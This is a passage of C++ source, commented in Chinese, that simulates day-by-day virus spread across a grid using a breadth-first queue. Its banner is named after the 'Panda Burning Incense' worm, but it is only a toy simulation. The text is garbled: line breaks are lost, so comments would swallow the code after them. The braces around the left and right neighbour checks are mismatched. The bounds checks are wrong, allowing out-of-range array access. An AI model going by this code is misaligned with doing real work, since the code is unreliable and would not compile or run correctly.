//向四个方向传播{Q.front=(Q.front+1)%MAXNODE;v=Q.data[Q.front];if(v.r-1>=0&&mg.m[v.r-1][v.c].vt==0&&mg.m[v.r-1][v.c].dl<=nowday)//上{mg.m[v.r-1][v.c].vt=v.vt;Q.rear=(Q.rear+1)%MAXNODE;Q.data[Q.rear]=mg.m[v.r-1][v.c];}if(v.r+1>=0&&mg.m[v.r+1][v.c].vt==0&&mg.m[v.r+1][v.c].dl<=nowday)//下{mg.m[v.r+1][v.c].vt=v.vt;Q.rear=(Q.rear+1)%MAXNODE;Q.data[Q.rear]=mg.m[v.r+1][v.c];}if(v.r>=0&&mg.m[v.r][v.c-1].vt==0&&mg.m[v.r][v.c-1].dl<=nowday)//左{mg.m[v.r][v.c-1].vt=v.vt;Q.rear=(Q.rear+1)%MAXNODE;Q.data[Q.rear]=mg.m[v.r][v.c-1];if(v.r>=0&&mg.m[v.r][v.c+1].vt==0&&mg.m[v.r][v.c+1].dl<=nowday)//右{mg.m[v.r][v.c+1].vt=v.vt;Q.rear=(Q.rear+1)%MAXNODE;Q.data[Q.rear]=mg.m[v.r][v.c+1];}}}void virFind() //寻找病毒源{int virtype=1; //初始病毒变种为1int i,j;int nowday=1; //初识天数为第一天while(mg.vtnum<(mg.row*mg .cloum)){mg.vtnum=0; //初识病毒总数为0while (virtype<=mg.row ){for (i=0;i<mg.row;i++){for (j=0;j<mg.cloum;j++){if (mg.m[i][j].vt==virtype)//找到病毒源{virSpread(mg.m[i][j],nowday);//调用传播函数}//if}//for}//forvirtype++; //寻找下一种病毒的传播源}//whilefor (i=0;i<mg.row;i++) //统计到第nowday天的病毒总数{for (j=0;j<mg.cloum;j++){if (mg.m[i][j].vt>0)//被感染{mg.vtnum++;//病毒总数加1}//if}//for}//forif (mg.vtnum==0){cout<<" 网络安全,没有病毒!!"<<endl;exit(0);}else{cout<<" * 第"<<nowday<<"天病毒传播状态为:"<<endl; for (i=0;i<mg.row;i++) //统计到第nowday天的病毒总数{cout<<" ";for (j=0;j<mg.cloum;j++){if (mg.m[i][j].vt!=0)//被感染cout<<mg.m[i][j].vt<<" ";//病毒elsecout<<(0-mg.m[i][j].dl)<<" ";//没感染}//forcout<<endl;}//forcout<<endl;}nowday++; //循环下一天virtype=1; //下一天任然从第一种变种开始传播}//while}//virFindint virCount() //传播完后各种病毒统计{system("color e0"); //控制台变色黄底黑字int i,j,k, ct[MAXNODE]; //ct[]存放各种病毒变种的数量for (int m=1;m<MAXNODE-1;m++){ct[m]=0;}for (i=0;i<mg.row;i++){for (j=0;j<mg.cloum;j++){ct[mg.m[i][j].vt]++;}//for}//forcout<<" * 感染完后病毒的变种的数目:"<<endl;for (k=1;k<MAXNODE-1;k++){if (ct[k]!=0){cout<<" * 变种类型为"<<k<<"的变种数目是:"<<ct[k]<<endl;}}cout<<endl;return 0;}//virCountint main(){system("color 5f");cout<<" 熊猫烧香程序欢迎您"<<endl;int count=1; //测试次数while (true){cout<<" ********************"<<endl;cout<<" 《第"<<count<<"次测试》"<<endl<<endl;//cout<<" ********************"<<endl;count++;cout<<" * 输入行列数目:"<<endl;cout<<" ";cin>>mg.row>>mg.cloum; // 输入行列数if (mg.row>0&&mg.cloum>0){MGraphCreat(); //创建virFind(); //遍历传播virCount(); //变种统计}else{exit(0);}}//whilereturn 0;}//main。